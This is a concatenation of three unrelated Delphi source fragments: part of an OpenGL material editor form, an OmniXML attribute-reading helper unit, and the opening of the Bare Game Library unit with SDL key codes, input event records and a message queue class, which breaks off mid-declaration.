procedure Notification(AComponent: TComponent; Operation: TOperation); override;
private
FSystem: TGLDSystem;
FSelected: GLuint;
FSphere: GLUquadricObj;
FAllowChange: GLboolean;
procedure SetParams;
procedure SetSystem(Value: TGLDSystem);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property System: TGLDSystem read FSystem write SetSystem;
end;
function GLDGetMaterialEditorForm: TGLDMaterialEditorForm;
procedure GLDReleaseMaterialEditorForm;
implementation
{$R *.dfm}
uses
SysUtils, Dialogs, GLDConst, GLDX, GLDMaterial;
var
vMaterialEditorForm: TGLDMaterialEditorForm = nil;
function GLDGetMaterialEditorForm: TGLDMaterialEditorForm;
begin
if not Assigned(vMaterialEditorForm) then
vMaterialEditorForm := TGLDMaterialEditorForm.Create(nil);
Result := vMaterialEditorForm;
end;
procedure GLDReleaseMaterialEditorForm;
begin
if Assigned(vMaterialEditorForm) then
begin
vMaterialEditorForm.Free;
vMaterialEditorForm := nil;
end;
end;
constructor TGLDMaterialEditorForm.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FSystem := nil;
FSelected := 0;
FSphere := gluNewQuadric;
FAllowChange := True;
Render(Self);
end;
destructor TGLDMaterialEditorForm.Destroy;
begin
gluDeleteQuadric(FSphere);
FSystem := nil;
inherited Destroy;
end;
{$WARNINGS OFF}
procedure TGLDMaterialEditorForm.Render(Sender: TObject);
var
i: GLubyte;
begin
MaterialViewer.MakeCurrent;
if not Assigned(FSphere) then
FSphere := gluNewQuadric;
glPushAttrib(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT or
GL_LIGHTING_BIT or GL_POLYGON_BIT or GL_LINE_BIT);
glClearColor(1, 1, 1, 1);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
GLDGetStandardMaterial.Apply;
if Assigned(FSystem) and
Assigned(FSystem.Repository) then
begin
for i := 1 to 4 do
begin
if (SB_Materials.Position + i - 1) <= FSystem.Repository.Materials.Count then
begin
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
glViewport((i - 1) * 65, 0, 65, 65);
gluPerspective(45.0, 1, 0.1, 100.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity;
glTranslatef(0, 0, -4);
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
glDisable(GL_LIGHTING);
if (SB_Materials.Position + i - 1) = FSelected then
begin
glLineWidth(4);
glColor3ubv(@GLD_COLOR3UB_YELLOW);
end else
begin
glLineWidth(1);
glColor3ubv(@GLD_COLOR3UB_BLACK);
end;
glBegin(GL_QUADS);
glVertex3f(-1.62, 1.62, 0);
glVertex3f(-1.62, -1.62, 0);
glVertex3f( 1.62, -1.62, 0);
glVertex3f( 1.62, 1.62, 0);
glEnd;
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
glEnable(GL_LIGHTING);
glTranslatef(0, 0, 1);
FSystem.Repository.Materials[SB_Materials.Position + i - 1].Apply;
gluSphere(FSphere, 1, 32, 32);
end;
end;
end;
glPopAttrib;
glFlush;
MaterialViewer.SwapBuffers;
end;
{$WARNINGS ON}
procedure TGLDMaterialEditorForm.SpeedButtonClick(Sender: TObject);
begin
if not Assigned(FSystem) then Exit;
if not Assigned(FSystem.Repository) then Exit;
if Sender = SB_Associate then
begin
FSystem.Repository.Objects.AssociateMaterialToSelectedObjects(
FSystem.Repository.Materials[FSelected]);
end else
if Sender = SB_DeleteAssociation then
begin
FSystem.Repository.Objects.DeleteMaterialFromSelectedObject;
end else
if Sender = SB_NewMaterial then
begin
with FSystem.Repository.Materials do
begin
CreateNew;
if Count > 4 then
SB_Materials.Max := Count - 3;
end;
Render(Self);
end else
if Sender = SB_DeleteMaterial then
begin
FSystem.Repository.Objects.DeleteMatRef(
FSystem.Repository.Materials[FSelected]);
FSystem.Repository.Materials.Delete(FSelected);
if FSelected > FSystem.Repository.Materials.Count then
FSelected := 0;
SetParams;
Render(Self);
end else
if Sender = SB_DeleteAll then
begin
FSystem.Repository.Objects.DeleteMatRefs;
FSystem.Repository.Materials.Clear;
FSelected := 0;
SetParams;
Render(Self);
end;
end;
procedure TGLDMaterialEditorForm.MaterialViewerMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
if not Assigned(FSystem) then Exit;
if not Assigned(FSystem.Repository) then Exit;
if Button <> mbLeft then Exit;
FSelected := SB_Materials.Position + (X div 65);
if FSelected > FSystem.Repository.Materials.Count then
FSelected := 0;
SetParams;
Render(Self);
end;
procedure TGLDMaterialEditorForm.NameChange(Sender: TObject);
var
Mat: TGLDMaterial;
begin
if not Assigned(FSystem) then Exit;
if not Assigned(FSystem.Repository) then Exit;
Mat := FSystem.Repository.Materials[FSelected];
if Assigned(Mat) then Mat.Name := E_Name.Text;
end;
procedure TGLDMaterialEditorForm.ColorChange(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
Mat: TGLDMaterial;
ColorDialog: TColorDialog;
begin
if not FAllowChange then Exit;
if not Assigned(FSystem) then Exit;
if not Assigned(FSystem.Repository) then Exit;
Mat := FSystem.Repository.Materials[FSelected];
if not Assigned(Mat) then Exit;
ColorDialog := TColorDialog.Create(Self);
if Sender = S_Ambient then
begin
ColorDialog.Color := S_Ambient.Brush.Color;
if ColorDialog.Execute then
begin
S_Ambient.Brush.Color := ColorDialog.Color;
Mat.Ambient.Color := S_Ambient.Brush.Color;
end;
end else
if Sender = S_Diffuse then
begin
ColorDialog.Color := S_Diffuse.Brush.Color;
if ColorDialog.Execute then
begin
S_Diffuse.Brush.Color := ColorDialog.Color;
Mat.Diffuse.Color := S_Diffuse.Brush.Color;
end;
end else
if Sender = S_Specular then
begin
ColorDialog.Color := S_Specular.Brush.Color;
if ColorDialog.Execute then
begin
S_Specular.Brush.Color := ColorDialog.Color;
Mat.Specular.Color := S_Specular.Brush.Color;
end;
end else
if Sender = S_Emission then
begin
ColorDialog.Color := S_Emission.Brush.Color;
if ColorDialog.Execute then
begin
S_Emission.Brush.Color := ColorDialog.Color;
Mat.Emission.Color := S_Emission.Brush.Color;
end;
end;
Render(Self);
if Assigned(FSystem.Viewer) then
FSystem.Viewer.Render;
ColorDialog.Free;
end;
procedure TGLDMaterialEditorForm.UD_ShininessChanging(Sender: TObject;
var AllowChange: Boolean);
var
Mat: TGLDMaterial;
begin
if not FAllowChange then Exit;
if not Assigned(FSystem) then Exit;
if not Assigned(FSystem.Repository) then Exit;
Mat := FSystem.Repository.Materials[FSelected];
if not Assigned(Mat) then Exit;
Mat.Shininess := UD_Shininess.Position;
Render(Self);
if Assigned(FSystem.Viewer) then
FSystem.Viewer.Render;
end;
procedure TGLDMaterialEditorForm.SetParams;
var
Mat: TGLDMaterial;
begin
FAllowChange := False;
if FSelected = 0 then
begin
E_Name.Text := EmptyStr;
S_Ambient.Brush.Color := clWhite;
S_Diffuse.Brush.Color := clWhite;
S_Specular.Brush.Color := clWhite;
S_Emission.Brush.Color := clWhite;
UD_Shininess.Position := 0;
end else
begin
if Assigned(FSystem) and
Assigned(FSystem.Repository) then
begin
Mat := FSystem.Repository.Materials[FSelected];
if Assigned(Mat) then
begin
E_Name.Text := Mat.Name;
S_Ambient.Brush.Color := Mat.Ambient.Color;
S_Diffuse.Brush.Color := Mat.Diffuse.Color;
S_Specular.Brush.Color := Mat.Specular.Color;
S_Emission.Brush.Color := Mat.Emission.Color;
UD_Shininess.Position := Mat.Shininess;
end;
end;
end;
FAllowChange := True;
end;
procedure TGLDMaterialEditorForm.Notification(AComponent: TComponent; Operation: TOperation);
begin
if (AComponent = FSystem) and (Operation = opRemove) then
FSystem := nil;
inherited Notification(AComponent, Operation);
end;
procedure TGLDMaterialEditorForm.SetSystem(Value: TGLDSystem);
begin
if FSystem = Value then Exit;
FSystem := Value;
Render(Self);
end;
procedure TGLDMaterialEditorForm.E_ShininessChange(Sender: TObject);
var
B: Boolean;
begin
UD_ShininessChanging(Sender, B);
end;
initialization
finalization
GLDReleaseMaterialEditorForm;
end.
|
unit uOmniXML;
interface
uses
SysUtils,
uI2XConstants,
OmniXML;
const
UNIT_NAME = 'uOmniXML';
UNASSIGNED='UNASSIGNED';
function GetAttr(const nod: IXMLNode; const AttributeName : string; const DefaultValue : string = UNASSIGNED ) : string; overload;
function GetAttr(const nod: IXMLNode; const AttributeName : string; const DefaultValue : integer ) : integer; overload;
function GetAttr(const nod: IXMLNode; const AttributeName : string; const DefaultValue : Extended ) : Extended; overload;
implementation
function GetAttr(const nod: IXMLNode; const AttributeName : string; const DefaultValue : string ) : string;
Begin
Result := '';
if ( DefaultValue = UNASSIGNED ) then begin
if ( nod = nil ) then
raise Exception.Create('Passed XML Node Element cannot be nil')
else if ( nod.attributes.getNamedItem( AttributeName ) = nil ) then
raise Exception.Create('Attribute with a name of "' + AttributeName + '" does not exist.')
else begin
Result := nod.attributes.getNamedItem( AttributeName ).text;
end;
end else begin
try
if ( nod.attributes.getNamedItem( AttributeName ) = nil ) then
Result := DefaultValue
else
Result := nod.attributes.getNamedItem( AttributeName ).text;
except
Result := DefaultValue;
end;
end;
End;
function GetAttr(const nod: IXMLNode; const AttributeName : string; const DefaultValue : integer ) : integer; overload;
var
sRes : string;
Begin
sRes := GetAttr(nod, AttributeName, IntToStr( DefaultValue ) );
Result := StrToIntDef( sRes, MININT );
if ( Result = MININT ) then begin
raise Exception.Create('The node value of "' + sRes + '" is an invalid integer and could not be converted');
end;
End;
function GetAttr(const nod: IXMLNode; const AttributeName : string; const DefaultValue : Extended ) : Extended; overload;
const
EXTMIN = -999999999999.9999;
var
sRes : string;
Begin
sRes := GetAttr(nod, AttributeName, FloatToStr(DefaultValue) );
Result := StrToFloatDef( sRes, EXTMIN );
if ( Result = EXTMIN ) then begin
raise Exception.Create('The node value of "' + sRes + '" is an invalid Extended (floating point) and could not be converted');
end;
End;
END.
|
(********************************************************)
(* *)
(* Bare Game Library *)
(* http://www.baregame.org *)
(* 0.5.0.0 Released under the LGPL license 2013 *)
(* *)
(********************************************************)
{ <include docs/bare.game.txt> }
unit Bare.Game;
{$i bare.inc}
interface
{TODO: Add clipboard class}
{TODO: Add modifiers signifying left and right modifiers, win key, caps lock ect}
uses
{ Bare.System needs to be the first unit as it sets up threading }
Bare.System,
{ BareTypes defines basic types and container classes }
Bare.Types,
{ Bare.Game bridges Bare.Interop.SDL and Bare.Interop.OpenGL }
Bare.Interop.OpenGL,
Bare.Interop.SDL2;
type
{ Button enumeration used by <link Bare.Game.TMessageButtons, TMessageButtons> }
TMessageButton = (mbOk, mbCancel, mbYes, mbNo, mbAll, mbAbort, mbRetry, mbIgnore);
{ Button set used by MessageBox }
TMessageButtons = set of TMessageButton;
{ Modal result return from MessageBox }
TModalResult = (mrNone, mrOk, mrCancel, mrYes, mrNo, mrAll, mrAbort, mrRetry, mrIgnore);
{ Style used by MessageBox }
TMessageType = (mtInformation, mtConfirmation, mtWarning, mtError);
{ Show a message box }
procedure MessageBox(const Prompt: string); overload;
{ Show a message box with an icon and standard title }
procedure MessageBox(Kind: TMessageType; const Prompt: string); overload;
{ Show a message box with an icon, standard title, and some buttons }
function MessageBox(Kind: TMessageType; const Prompt: string; Buttons: TMessageButtons): TModalResult; overload;
{ Show a message box with an icon, some buttons, and a custom title }
function MessageBox(Kind: TMessageType; const Title, Prompt: string; Buttons: TMessageButtons): TModalResult; overload;
{$region virtual keys copied here for convience}
{ Keyboard codes
See also
<link Bare.Game.TKeyboardArgs, TKeyboardArgs type>
<link Bare.Game.TMessage, TMessage.KeyboardArgs> }
type
TVirtualKeyCode = (
VK_BACKSPACE = SDLK_BACKSPACE,
VK_TAB = SDLK_TAB,
VK_RETURN = SDLK_RETURN,
VK_ESCAPE = SDLK_ESCAPE,
VK_SPACE = SDLK_SPACE,
VK_EXCLAIM = SDLK_EXCLAIM,
VK_QUOTEDBL = SDLK_QUOTEDBL,
VK_HASH = SDLK_HASH,
VK_DOLLAR = SDLK_DOLLAR,
VK_PERCENT = SDLK_PERCENT,
VK_AMPERSAND = SDLK_AMPERSAND,
VK_QUOTE = SDLK_QUOTE,
VK_LEFTPAREN = SDLK_LEFTPAREN,
VK_RIGHTPAREN = SDLK_RIGHTPAREN,
VK_ASTERISK = SDLK_ASTERISK,
VK_PLUS = SDLK_PLUS,
VK_COMMA = SDLK_COMMA,
VK_MINUS = SDLK_MINUS,
VK_PERIOD = SDLK_PERIOD,
VK_SLASH = SDLK_SLASH,
VK_0 = SDLK_0,
VK_1 = SDLK_1,
VK_2 = SDLK_2,
VK_3 = SDLK_3,
VK_4 = SDLK_4,
VK_5 = SDLK_5,
VK_6 = SDLK_6,
VK_7 = SDLK_7,
VK_8 = SDLK_8,
VK_9 = SDLK_9,
VK_COLON = SDLK_COLON,
VK_SEMICOLON = SDLK_SEMICOLON,
VK_LESS = SDLK_LESS,
VK_EQUALS = SDLK_EQUALS,
VK_GREATER = SDLK_GREATER,
VK_QUESTION = SDLK_QUESTION,
VK_AT = SDLK_AT,
VK_LEFTBRACKET = SDLK_LEFTBRACKET,
VK_BACKSLASH = SDLK_BACKSLASH,
VK_RIGHTBRACKET = SDLK_RIGHTBRACKET,
VK_CARET = SDLK_CARET,
VK_UNDERSCORE = SDLK_UNDERSCORE,
VK_BACKQUOTE = SDLK_BACKQUOTE,
VK_a = SDLK_a,
VK_b = SDLK_b,
VK_c = SDLK_c,
VK_d = SDLK_d,
VK_e = SDLK_e,
VK_f = SDLK_f,
VK_g = SDLK_g,
VK_h = SDLK_h,
VK_i = SDLK_i,
VK_j = SDLK_j,
VK_k = SDLK_k,
VK_l = SDLK_l,
VK_m = SDLK_m,
VK_n = SDLK_n,
VK_o = SDLK_o,
VK_p = SDLK_p,
VK_q = SDLK_q,
VK_r = SDLK_r,
VK_s = SDLK_s,
VK_t = SDLK_t,
VK_u = SDLK_u,
VK_v = SDLK_v,
VK_w = SDLK_w,
VK_x = SDLK_x,
VK_y = SDLK_y,
VK_z = SDLK_z,
VK_DELETE = SDLK_DELETE,
VK_CAPSLOCK = SDLK_CAPSLOCK,
VK_F1 = SDLK_F1,
VK_F2 = SDLK_F2,
VK_F3 = SDLK_F3,
VK_F4 = SDLK_F4,
VK_F5 = SDLK_F5,
VK_F6 = SDLK_F6,
VK_F7 = SDLK_F7,
VK_F8 = SDLK_F8,
VK_F9 = SDLK_F9,
VK_F10 = SDLK_F10,
VK_F11 = SDLK_F11,
VK_F12 = SDLK_F12,
VK_PRINTSCREEN = SDLK_PRINTSCREEN,
VK_SCROLLLOCK = SDLK_SCROLLLOCK,
VK_PAUSE = SDLK_PAUSE,
VK_INSERT = SDLK_INSERT,
VK_HOME = SDLK_HOME,
VK_PAGEUP = SDLK_PAGEUP,
VK_END = SDLK_END,
VK_PAGEDOWN = SDLK_PAGEDOWN,
VK_RIGHT = SDLK_RIGHT,
VK_LEFT = SDLK_LEFT,
VK_DOWN = SDLK_DOWN,
VK_UP = SDLK_UP,
VK_NUMLOCKCLEAR = SDLK_NUMLOCKCLEAR,
VK_KP_DIVIDE = SDLK_KP_DIVIDE,
VK_KP_MULTIPLY = SDLK_KP_MULTIPLY,
VK_KP_MINUS = SDLK_KP_MINUS,
VK_KP_PLUS = SDLK_KP_PLUS,
VK_KP_ENTER = SDLK_KP_ENTER,
VK_KP_1 = SDLK_KP_1,
VK_KP_2 = SDLK_KP_2,
VK_KP_3 = SDLK_KP_3,
VK_KP_4 = SDLK_KP_4,
VK_KP_5 = SDLK_KP_5,
VK_KP_6 = SDLK_KP_6,
VK_KP_7 = SDLK_KP_7,
VK_KP_8 = SDLK_KP_8,
VK_KP_9 = SDLK_KP_9,
VK_KP_0 = SDLK_KP_0,
VK_KP_PERIOD = SDLK_KP_PERIOD,
VK_APPLICATION = SDLK_APPLICATION,
VK_POWER = SDLK_POWER,
VK_KP_EQUALS = SDLK_KP_EQUALS,
VK_F13 = SDLK_F13,
VK_F14 = SDLK_F14,
VK_F15 = SDLK_F15,
VK_F16 = SDLK_F16,
VK_F17 = SDLK_F17,
VK_F18 = SDLK_F18,
VK_F19 = SDLK_F19,
VK_F20 = SDLK_F20,
VK_F21 = SDLK_F21,
VK_F22 = SDLK_F22,
VK_F23 = SDLK_F23,
VK_F24 = SDLK_F24,
VK_EXECUTE = SDLK_EXECUTE,
VK_HELP = SDLK_HELP,
VK_MENU = SDLK_MENU,
VK_SELECT = SDLK_SELECT,
VK_STOP = SDLK_STOP,
VK_AGAIN = SDLK_AGAIN,
VK_UNDO = SDLK_UNDO,
VK_CUT = SDLK_CUT,
VK_COPY = SDLK_COPY,
VK_PASTE = SDLK_PASTE,
VK_FIND = SDLK_FIND,
VK_MUTE = SDLK_MUTE,
VK_VOLUMEUP = SDLK_VOLUMEUP,
VK_VOLUMEDOWN = SDLK_VOLUMEDOWN,
VK_KP_COMMA = SDLK_KP_COMMA,
VK_KP_EQUALSAS400 = SDLK_KP_EQUALSAS400,
VK_ALTERASE = SDLK_ALTERASE,
VK_SYSREQ = SDLK_SYSREQ,
VK_CANCEL = SDLK_CANCEL,
VK_CLEAR = SDLK_CLEAR,
VK_PRIOR = SDLK_PRIOR,
VK_RETURN2 = SDLK_RETURN2,
VK_SEPARATOR = SDLK_SEPARATOR,
VK_OUT = SDLK_OUT,
VK_OPER = SDLK_OPER,
VK_CLEARAGAIN = SDLK_CLEARAGAIN,
VK_CRSEL = SDLK_CRSEL,
VK_EXSEL = SDLK_EXSEL,
VK_KP_00 = SDLK_KP_00,
VK_KP_000 = SDLK_KP_000,
VK_THOUSANDSSEPARATOR = SDLK_THOUSANDSSEPARATOR,
VK_DECIMALSEPARATOR = SDLK_DECIMALSEPARATOR,
VK_CURRENCYUNIT = SDLK_CURRENCYUNIT,
VK_CURRENCYSUBUNIT = SDLK_CURRENCYSUBUNIT,
VK_KP_LEFTPAREN = SDLK_KP_LEFTPAREN,
VK_KP_RIGHTPAREN = SDLK_KP_RIGHTPAREN,
VK_KP_LEFTBRACE = SDLK_KP_LEFTBRACE,
VK_KP_RIGHTBRACE = SDLK_KP_RIGHTBRACE,
VK_KP_TAB = SDLK_KP_TAB,
VK_KP_BACKSPACE = SDLK_KP_BACKSPACE,
VK_KP_A = SDLK_KP_A,
VK_KP_B = SDLK_KP_B,
VK_KP_C = SDLK_KP_C,
VK_KP_D = SDLK_KP_D,
VK_KP_E = SDLK_KP_E,
VK_KP_F = SDLK_KP_F,
VK_KP_XOR = SDLK_KP_XOR,
VK_KP_POWER = SDLK_KP_POWER,
VK_KP_PERCENT = SDLK_KP_PERCENT,
VK_KP_LESS = SDLK_KP_LESS,
VK_KP_GREATER = SDLK_KP_GREATER,
VK_KP_AMPERSAND = SDLK_KP_AMPERSAND,
VK_KP_DBLAMPERSAND = SDLK_KP_DBLAMPERSAND,
VK_KP_VERTICALBAR = SDLK_KP_VERTICALBAR,
VK_KP_DBLVERTICALBAR = SDLK_KP_DBLVERTICALBAR,
VK_KP_COLON = SDLK_KP_COLON,
VK_KP_HASH = SDLK_KP_HASH,
VK_KP_SPACE = SDLK_KP_SPACE,
VK_KP_AT = SDLK_KP_AT,
VK_KP_EXCLAM = SDLK_KP_EXCLAM,
VK_KP_MEMSTORE = SDLK_KP_MEMSTORE,
VK_KP_MEMRECALL = SDLK_KP_MEMRECALL,
VK_KP_MEMCLEAR = SDLK_KP_MEMCLEAR,
VK_KP_MEMADD = SDLK_KP_MEMADD,
VK_KP_MEMSUBTRACT = SDLK_KP_MEMSUBTRACT,
VK_KP_MEMMULTIPLY = SDLK_KP_MEMMULTIPLY,
VK_KP_MEMDIVIDE = SDLK_KP_MEMDIVIDE,
VK_KP_PLUSMINUS = SDLK_KP_PLUSMINUS,
VK_KP_CLEAR = SDLK_KP_CLEAR,
VK_KP_CLEARENTRY = SDLK_KP_CLEARENTRY,
VK_KP_BINARY = SDLK_KP_BINARY,
VK_KP_OCTAL = SDLK_KP_OCTAL,
VK_KP_DECIMAL = SDLK_KP_DECIMAL,
VK_KP_HEXADECIMAL = SDLK_KP_HEXADECIMAL,
VK_LCTRL = SDLK_LCTRL,
VK_LSHIFT = SDLK_LSHIFT,
VK_LALT = SDLK_LALT,
VK_LGUI = SDLK_LGUI,
VK_RCTRL = SDLK_RCTRL,
VK_RSHIFT = SDLK_RSHIFT,
VK_RALT = SDLK_RALT,
VK_RGUI = SDLK_RGUI,
VK_MODE = SDLK_MODE,
VK_AUDIONEXT = SDLK_AUDIONEXT,
VK_AUDIOPREV = SDLK_AUDIOPREV,
VK_AUDIOSTOP = SDLK_AUDIOSTOP,
VK_AUDIOPLAY = SDLK_AUDIOPLAY,
VK_AUDIOMUTE = SDLK_AUDIOMUTE,
VK_MEDIASELECT = SDLK_MEDIASELECT,
VK_WWW = SDLK_WWW,
VK_MAIL = SDLK_MAIL,
VK_CALCULATOR = SDLK_CALCULATOR,
VK_COMPUTER = SDLK_COMPUTER,
VK_AC_SEARCH = SDLK_AC_SEARCH,
VK_AC_HOME = SDLK_AC_HOME,
VK_AC_BACK = SDLK_AC_BACK,
VK_AC_FORWARD = SDLK_AC_FORWARD,
VK_AC_STOP = SDLK_AC_STOP,
VK_AC_REFRESH = SDLK_AC_REFRESH,
VK_AC_BOOKMARKS = SDLK_AC_BOOKMARKS,
VK_BRIGHTNESSDOWN = SDLK_BRIGHTNESSDOWN,
VK_BRIGHTNESSUP = SDLK_BRIGHTNESSUP,
VK_DISPLAYSWITCH = SDLK_DISPLAYSWITCH,
VK_KBDILLUMTOGGLE = SDLK_KBDILLUMTOGGLE,
VK_KBDILLUMDOWN = SDLK_KBDILLUMDOWN,
VK_KBDILLUMUP = SDLK_KBDILLUMUP,
VK_EJECT = SDLK_EJECT,
VK_SLEEP = SDLK_SLEEP);
{$endregion}
{$region event types}
type
{ Keyboard modifier set }
TShiftState = set of (ssShift, ssAlt, ssCtrl);
{ Mouse button enumeration }
TMouseButton = (mbLeft, mbRight, mbMiddle, mbExtra1, mExtra2);
{ Mouse button set }
TMouseButtons = set of TMouseButton;
{ A hoystick hat represents a switch with 9 possible positions }
TJoystickHat = (hatCenter, hatUp, hatRight, hatDown, hatLeft,
hatRightUp, hatRightDown, hatLeftUp, hatLeftDown);
{ Arguments for a window move or resize event }
TMoveResizeArgs = record
{ The x y position or width and height of a window }
X, Y: Integer;
end;
{ Arguments for a window query close event }
TQueryCloseArgs = record
{ Set to false to prevent a window from being closed }
CanClose: Boolean;
end;
{ Arguments for a keyboard event }
TKeyboardArgs = record
{ Refer to virtual key codes in Bare.Game }
Key: TVirtualKeyCode;
{ State of the modifier keys }
Shift: TShiftState;
{ True if the keyboard event was generated as a result of a key
repeating while being held down }
Repeated: Boolean;
end;
{ Arguments for a mouse move event }
TMouseMoveArgs = record
{ The x y position of the mouse relative to a window }
X, Y: Integer;
{ The x y position of the mouse relative to its last position }
XRel, YRel: Integer;
{ State of the modifier keys }
Shift: TShiftState;
end;
{ Arguments for a mouse button event }
TMouseButtonArgs = record
{ The mouse button being pressed or released }
Button: TMouseButton;
{ The x y position of the mouse relative to a window }
X, Y: Integer;
{ State of the modifier keys }
Shift: TShiftState;
end;
{ Arguments for a mouse wheel event }
TMouseWheelArgs = record
{ Delta of +1 for scroll up and -1 for scroll down }
Delta: Integer;
{ State of the modifier keys }
Shift: TShiftState;
end;
{ Arguments for a window focus event }
TFocusArgs = record
{ Focused is true if gaining focus, false if losing focus }
Focused: Boolean;
end;
{ Arguments for a joystick axis event }
TJoystickAxisArgs = record
{ The joystick sending the event }
JoystickIndex: Integer;
{ The axix which changed }
AxisIndex: Word;
{ The position of the axis in the range -32768 to 32767 }
Position: SmallInt;
end;
{ Arguments for a joystick trackball event }
TJoystickBallArgs = record
{ The joystick sending the event }
JoystickIndex: Integer;
{ The index of the ball }
BallIndex: Integer;
{ The relative motion the trackball }
XRel, YRel: Integer;
end;
{ Arguments for a joystick button event }
TJoystickButtonArgs = record
{ The joystick sending the event }
JoystickIndex: Integer;
{ The index of the button }
ButtonIndex: Integer;
{ When the button pressed true, when released false }
Pressed: Boolean;
end;
{ Arguments for a joystick trackball event }
TJoystickHatArgs = record
{ The joystick sending the event }
JoystickIndex: Integer;
{ The index of the hat }
HatIndex: Integer;
{ The hat position }
Hat: TJoystickHat;
end;
{ Arguments for a joystick attach or detach event }
TJoystickDeviceArgs = record
{ The joystick sending the event }
JoystickIndex: Integer;
{ Added is true is a joystick was attached, false if it was detached }
Added: Boolean;
end;
{doc off}
const
msgKeyDown = SDL_KEYDOWN;
msgKeyUp = SDL_KEYUP;
msgMouseMove = SDL_MOUSEMOTION;
msgMouseButtonDown = SDL_MOUSEBUTTONDOWN;
msgMouseButtonUp = SDL_MOUSEBUTTONUP;
msgMouseWheel = SDL_MOUSEWHEEL;
msgJoystickAxis = SDL_JOYAXISMOTION;
msgJoystickBall = SDL_JOYBALLMOTION;
msgJoystickHat = SDL_JOYHATMOTION;
msgJoystickButtonDown = SDL_JOYBUTTONDOWN;
msgJoystickButtonUp = SDL_JOYBUTTONUP;
{doc on}
{ TMessage is used by TApplication.ProcessEvents and TWindow.DispatchMessage
See also
<link Overview.Bare.Game.TMessage, TMessage members> }
type
TMessage = record
{ Refer to the Bare.Game unit for message values }
Msg: LongWord;
{ The time at which the event was sent }
Time: Double;
case LongWord of
SDL_FIRST_EVENT: (EmptyArgs: TEmptyArgs);
SDL_WINDOWEVENT_MOVED: (MoveResizeArgs: TMoveResizeArgs);
SDL_WINDOWEVENT_FOCUS_GAINED: (FocusArgs: TFocusArgs);
SDL_QUIT_EVENT: (QuitArgs: TEmptyArgs);
SDL_KEYDOWN: (KeyboardArgs: TKeyboardArgs);
SDL_MOUSEMOTION: (MouseMoveArgs: TMouseMoveArgs);
SDL_MOUSEBUTTONDOWN: (MouseButtonArgs: TMouseButtonArgs);
SDL_MOUSEWHEEL: (MouseWheelArgs: TMouseWheelArgs);
SDL_JOYAXISMOTION: (JoystickAxisArgs: TJoystickAxisArgs);
SDL_JOYBALLMOTION: (JoystickBallArgs: TJoystickBallArgs);
SDL_JOYHATMOTION: (JoystickHatArgs: TJoystickHatArgs);
SDL_JOYBUTTONDOWN: (JoystickButtonArgs: TJoystickButtonArgs);
SDL_JOYDEVICEADDED: (JoystickDeviceArgs: TJoystickDeviceArgs);
end;
{ When writing a multithreaded game use <link Bare.Game.TWindow.MessageQueue, MessageQueue>
to safely access the user input queue in your <link Bare.Game.TWindow.Logic, Logic method>
See also
<link Overview.Bare.Game.TMessageQueue, TMessageQueue members>
<link Bare.Game.TMessageQueue.Remove, Remove method> }
TMessageQueue = class
public
{ Type retruned from remove
See also
<link Bare.Game.TMessages, TMessages type }
type TItems = TArray<TMessage>;
private
FItems: TItems;
FQueue: TItems;
FCount: Integer;
public
{ Use <link Bare.Game.TWindow.MessageQueue, TWindow.MessageQueue property> instead of
creating a TMessageQueue }
constructor Create;
{ Add a message to the queue
Remarks
Called for you automatically in the application loop }
procedure Add(var Message: TMessage);
{ Removes all incomming messages and places them in the queue using a thread safe manner
Remarks
It is recommended that you make use of <link Bare.Game.TWindow.MessageQueue, MessageQueue.Remove>
at the start of your <link Bare.Game.TWindow.Logic, Logic> method }
function Remove: TItems;
{ Returns true if key is down in the queue }
function KeyDown(Key: TVirtualKeyCode): Boolean;
{ Returns true if key is up in the queue }
function KeyUp(Key: TVirtualKeyCode): Boolean;
{ Returns true if mouse is down in the queue }
function MouseDown(Button: TMouseButton): Boolean; overload;
{ Returns true if mouse is down in the queue while capturing the position and shift state }
function MouseDown(Button: TMouseButton; out X, Y: Integer; out Shift: TShiftState): Boolean; overload;
{ Returns true if mouse is up in the queue }
function MouseUp(Button: TMouseButton): Boolean; overload;
{ Returns true if mouse is up in the queue while capturing the position and shift state }
function MouseUp(Button: TMouseButton; out X, Y: Integer; out Shift: TShiftState): Boolean; overload;
{ The result of the last remove operation }
property Queue: TItems read FQueue;
end;
{ TMessages is returned from <link Bare.Game.TMessages.Remove, TMessageQueue.Remove method> }
TMessages = TMessageQueue.TItems;
{ TEmptyEvent notifies you that window focus was gained or lost }
TFocusEvent = TEventHandler<TFocusArgs>;
{ TEmptyEvent notifies you that a window is requesting to be closed }
TQueryCloseEvent = TEventHandler<TQueryCloseArgs>;
{ TKeyboardEvent notifies you that key was pressed or released }
TKeyboardEvent = TEventHandler<TKeyboardArgs>;
{ TKeyboardEvent notifies you that the mouse moved }
TMouseMoveEvent = TEventHandler<TMouseMoveArgs>;
{ TKeyboardEvent notifies you that the mouse moved }
TMouseButtonEvent = TEventHandler<TMouseButtonArgs>;
{ TMouseWheelEvent notifies you that the mouse wheel was scrolled }
TMouseWheelEvent = TEventHandler<TMouseWheelArgs>;
{ TMoveResizeEvent notifies you that a window was moved or resized }
TMoveResizeEvent = TEventHandler<TMoveResizeArgs>;
{ TJoystickAxisEvent notifies you that a joystick axis position changed }
TJoystickAxisEvent = TEventHandler<TJoystickAxisArgs>;
{ TJoystickAxisEvent notifies you that a joystick button was pressed or released }
TJoystickButtonEvent = TEventHandler<TJoystickButtonArgs>;
{ TJoystickAxisEvent notifies you that a joystick hat changed }
TJoystickHatEvent = TEventHandler<TJoystickHatArgs>;
{ TJoystickAxisEvent notifies you that a joystick trackball was moved }
TJoystickBallEvent = TEventHandler<TJoystickBallArgs>;
{ TJoystickDeviceArgs notifies you that a joystick was attached or detached }
TJoystickDeviceEvent = TEventHandler<TJoystickDeviceArgs>;
{$endregion}
{ TStopwatch tracks high resolution time intervals
See also
<link Overview.Bare.Game.TStopwatch, TStopwatch members>
<link topic_introduction, Introduction>}
type
TStopwatch = class
private
FTime: Double;
FStart: Double;
FStop: Double;
FInterval: Double;
FFrame: Integer;
FFramerate: Integer;
FSeconds: LargeWord;
FPaused: Boolean;
